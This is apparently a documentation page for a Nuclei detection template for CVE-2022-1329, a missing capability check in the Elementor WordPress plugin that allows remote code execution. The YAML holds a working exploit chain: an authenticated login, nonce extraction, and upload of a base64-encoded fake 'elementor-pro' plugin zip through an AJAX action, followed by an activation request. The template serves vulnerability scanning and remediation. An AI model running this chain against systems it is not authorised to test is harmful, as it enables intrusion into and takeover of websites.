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Elementor Website Builder - Remote Code Execution

ID: CVE-2022-1329

Severity: high

Author: theamanrawat

Tags: cve2022,cve,rce,wordpress,wp-plugin,wp,elementor,authenticated,intrusive,fileupload

Description

Section titled “Description”

The Elementor Website Builder plugin for WordPress versions 3.6.0 to 3.6.2 are vulnerable to unauthorized execution of several AJAX actions due to a missing capability check in the ~/core/app/modules/onboarding/module.php file. This makes it possible for attackers to modify site data and upload malicious files which can be used to obtain remote code execution.

YAML Source

Section titled “YAML Source”
id: CVE-2022-1329


info:
  name: Elementor Website Builder - Remote Code Execution
  author: theamanrawat
  severity: high
  description: |
    The Elementor Website Builder plugin for WordPress versions 3.6.0 to 3.6.2 are vulnerable to unauthorized execution of several AJAX actions due to a missing capability check in the ~/core/app/modules/onboarding/module.php file. This makes it possible for attackers to modify site data and upload malicious files which can be used to obtain remote code execution.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: Fixed in version 3.6.3
  reference:
    - https://www.wordfence.com/blog/2022/04/elementor-critical-remote-code-execution-vulnerability/
    - https://wordpress.org/plugins/elementor/
    - https://plugins.trac.wordpress.org/changeset/2708766/elementor/trunk/core/app/modules/onboarding/module.php
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1329
    - https://github.com/dexit/CVE-2022-1329
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-1329
    cwe-id: CWE-434,CWE-862
    epss-score: 0.96342
    epss-percentile: 0.9955
    cpe: cpe:2.3:a:elementor:website_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: elementor
    product: website_builder
    framework: wordpress
  tags: cve2022,cve,rce,wordpress,wp-plugin,wp,elementor,authenticated,intrusive,fileupload


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/ HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=336b29d7aee0463d8b651303eab505ea


        --336b29d7aee0463d8b651303eab505ea
        Content-Disposition: form-data; name="action"


        elementor_upload_and_install_pro
        --336b29d7aee0463d8b651303eab505ea
        Content-Disposition: form-data; name="_nonce"


        {{nonce}}
        --336b29d7aee0463d8b651303eab505ea
        Content-Disposition: form-data; name="fileToUpload"; filename="{{randstr}}.zip"


        {{base64_decode("UEsDBBQAAAAAAPEiZ1YAAAAAAAAAAAAAAAAOACAAZWxlbWVudG9yLXByby9VVA0AB8csB2TILAdkxywHZHV4CwABBOgDAAAE6AMAAFBLAwQUAAgACAB8KGdWAAAAAAAAAAA6BAAAHwAgAGVsZW1lbnRvci1wcm8vZWxlbWVudG9yLXByby5waHBVVA0ABzw2B2Q9NgdkPDYHZHV4CwABBOgDAAAE6AMAAKVSXU/bQBB8rn/FgqryoXyUoFZqKAUTnBCJhshxQKiq0Nlex6ee705354T8++45AfLQ9qVv9u3s7OzMfr3QpQ66x8cBHMNU1AsuYcIq7EMksELplIGpUb56jTYzXDuuZB+SEncQD5ha7hCuai5yNFAyC9wBE6IPuWELYDKnD6VBswVCuoG1QPNnFKDRFJg5yNHyhWxBpVIuEAxaraTlSwTMueNy0Wp4KmWwAyN0YB0zDnOQarW3o38ej/tQOqdtv9vFF5GdTFXdi9pVT1bVJsPzlW7rpsF+8K8ZqzSj+eebx3ZtePNe0fC68uic2dKPCWtXKrPjkKf2hXs0tnHntPO5c/IG/V9FrGH5uyI/KcFnB9eqYpzmv47YFi81y35556OdAlxmzOFCmTUMyNIt9C1UbqEwiGBV4VbM0EmsVQ0Zk5RMzq0zPK0pc5+zzLvUUKmcF2tPQm+19Ifg6EwcmsqCKpqf0WRO0Uk0TMC0TgXP4JZnKC0C3Yz2L7akSNOGx3cMvYbZVgMMFREzf4MtQE51A8uN63D6MmNL2ILNmkyuQdCmr8jOn1Z92ygHuiHPUypN6kvm/D4rLgSkCLXFohYt309geBgnN3fzBMLJIzyEcRxOksczAlNgVMUlbqh4pQUnZtrBMOnWJNUzfI/iwQ21hFfj23HySIJhOE4m0WwGw7sYQpiGcTIezG/DGKbzeHo3izowQ6/K5/UvN4smEHIsR8e4sH7pbhAEvIDDPW4tusP3T6Mo+XHAMseX5M/Bz6Oj4J1BVxt5FgSYlQqq/NPh/uA+avc+9nrtk9Pel/0jqgUX34LfUEsHCH5L6n9mAgAAOgQAAFBLAQIUAxQAAAAAAPEiZ1YAAAAAAAAAAAAAAAAOACAAAAAAAAAAAAD9QQAAAABlbGVtZW50b3ItcHJvL1VUDQAHxywHZMgsB2THLAdkdXgLAAEE6AMAAAToAwAAUEsBAhQDFAAIAAgAfChnVn5L6n9mAgAAOgQAAB8AIAAAAAAAAAAAALSBTAAAAGVsZW1lbnRvci1wcm8vZWxlbWVudG9yLXByby5waHBVVA0ABzw2B2Q9NgdkPDYHZHV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAgACAMkAAAAfAwAAAAA=")}}
        --336b29d7aee0463d8b651303eab505ea--
      - |
        GET /index.php?activate=1 HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body_4
        words:
          - '5f9bc5edd71c78284dabe630df8cd71d'


    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'admin-ajax.php","nonce":"([0-9a-zA-Z]+)"}'
        internal: true
# digest: 490a0046304402201349ea513ff926e634dd5311cc63e262c48f4632de0d98bde3cd4bcd53edf12802202ee81514e71b96ce6ed7cd9e8c6e715614b42d82aff727aec14df91b3ce72add:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-1329.yaml"

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